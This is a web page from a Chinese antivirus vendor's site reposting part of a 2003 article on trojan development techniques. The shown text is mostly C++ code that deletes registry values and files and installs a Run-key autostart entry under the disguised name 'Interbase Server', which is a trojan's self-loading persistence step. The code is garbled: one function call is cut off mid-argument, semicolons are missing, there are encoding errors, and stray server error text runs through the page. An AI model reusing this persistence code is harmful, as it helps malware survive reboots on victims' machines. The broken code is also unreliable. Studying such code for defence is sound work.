个人产品
企业产品
安全信息
病毒专栏 | 漏洞专栏 | 木马专栏 | 防护专栏 | 安全业界 | 毒霸活动 | 热点专题 | 漫画安全 | 期刊订阅
302 Found

302 Found


nginx/1.0.5
告诉您的位置:首页 > 病毒专栏 > 病毒知识 > 正文
透视木马程序开发技术:病毒源代码详解(上)
2003年12月18日10:04:16 天极网 
302 Found

302 Found


nginx/1.0.5
  DWORD vl=254;

  
  DWORD Suc;

  
  do{

  
  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  
  (DWORD)num,

  
  str,

  
  NULL,

  
  &type,

  
  strv,

  
  &vl);

  
  if (strcmp(str,"BGroup")==0)

  
  {

  
  DeleteFile(AnsiString(strv));

  
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

  
  break;

  
  }

  
  }while(Suc== ERROR_SUCCESS)

  
  HKEY hkey;

  
  unsigned long k;

  
  k=REG_OPENED_EXISTING_KEY;

  
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

  
  0,

  
  NULL,

  
  REG_OPTION_NON_VOLATILE,

  
  KEY_SET_VALUE,NULL,

  
  &hkey,

  
  &k);

  
  do{

  
  Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0)

  
  {

  
  DeleteFile(AnsiString(strv));

  
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

  
  break;

  
  }

  
  }while(Suc== ERROR_SUCCESS)

  
  RegCloseKey(hkey);

  
  其中自装载部分使用C++ Builder可以这样写,会比较简化:

  
  TRegistry & regKey = *new TRegistry();

  
  regKey.RootKey=HKEY_LOCAL_MACHINE;

  
  regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);

  
  if(!regKey.ValueExists("Interbase Server"))

  
  {

  
  regKey.WriteString("Interbase Server",

  
  "D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");

  
  }

  
  regKey.CloseKey();

  
  delete ®Key;
[1] [2] [3] [4]     【】
【我要发表评论】【内容指正】【论坛】【推荐给好友】·【 】【打印】·【顶部】【关闭窗口
【相关文章】 【去论坛】
· Longhorn新花招亮相:能有效拦截蠕虫与木马 2003-12-11 10:59
· Linux核心程序被置木马病毒 但已经及时清除 2003-12-02 10:47
· 新特洛伊木马开始蔓延 伪装色情图片控制PC 2003-11-26 10:18
· 商业图像处理软件Firehand最新发现木马程序 2003-11-10 14:20
· 认清恶意程序:解析危险的特洛伊木马(图) 2003-11-04 11:17
· 了解"木马"工作原理 学习木马病毒通用解法 2003-11-01 13:51
· 剖析:防范最新GOP攻击 保护你心爱的QQ密码 2003-10-23 16:44
· 查看开放端口判断木马或其他黑客程序的方法 2003-10-23 16:41
· 警告《杀死比尔》电影字幕文件可能携带木马 2003-10-21 10:16
· 网上谣言:《半条命2》的代码中含有木马病毒 2003-10-17 10:51
·金山毒霸单机版讨论区
·毒霸6测试专区
·金山网镖讨论区
·金山毒霸网络版讨论区
·毒霸在线业务专题讨论区
·安全软件讨论区
·病毒救援
【相关专题】
· 病毒木马入侵招数大曝光专题专题 2002-07-15 10:15
· 盗QQ密码-木马GOP专题 2001-12-31 23:15
302 Found

302 Found


nginx/1.0.5
302 Found

302 Found


nginx/1.0.5
·全民围剿 新春无毒 
·
毒霸、网镖新功能体验版 
·
毒霸网络版2.0 sp1发布 
·
毒霸6新禧礼包惊喜登场
·
毒霸网络版 人人有礼
·毒霸网络版“租用服务”
·
金山毒霸网络版大事件
·第三次缉毒万里行专题
·JPEG图片病毒专题
·金山引爆“双响炮”计划
·金山毒霸6增强版介绍
·
十面埋伏围剿木马发布会
·
6.12北京用户产品座谈会
·
金山"网游防火墙"产品
·
反电子垃圾新功略专题
·“金山毒霸再获桂冠”
·金山“安全体验风暴”
·“冲击波”病毒之罪?
·全球黑客攻击专题
·金山毒霸V金山网镖V介绍
·金山V攻略详解专题
·金山毒霸&智冠捆绑销售
·金山软件爱心服务活动
·2003年病毒疫情调查专题
更多...
302 Found

302 Found


nginx/1.0.5
·病毒短信 ·在线杀毒
·病毒上报 ·专杀工具
·产品答疑 ·
媒体合作
金山简介 | 业务合作 | 广告服务 | 招聘信息 | 客服中心 | 网页报错 | 添加毒霸到QQ上
© 2007 Kingsoft Corp. 增值电信业务经营许可证B2-20040288号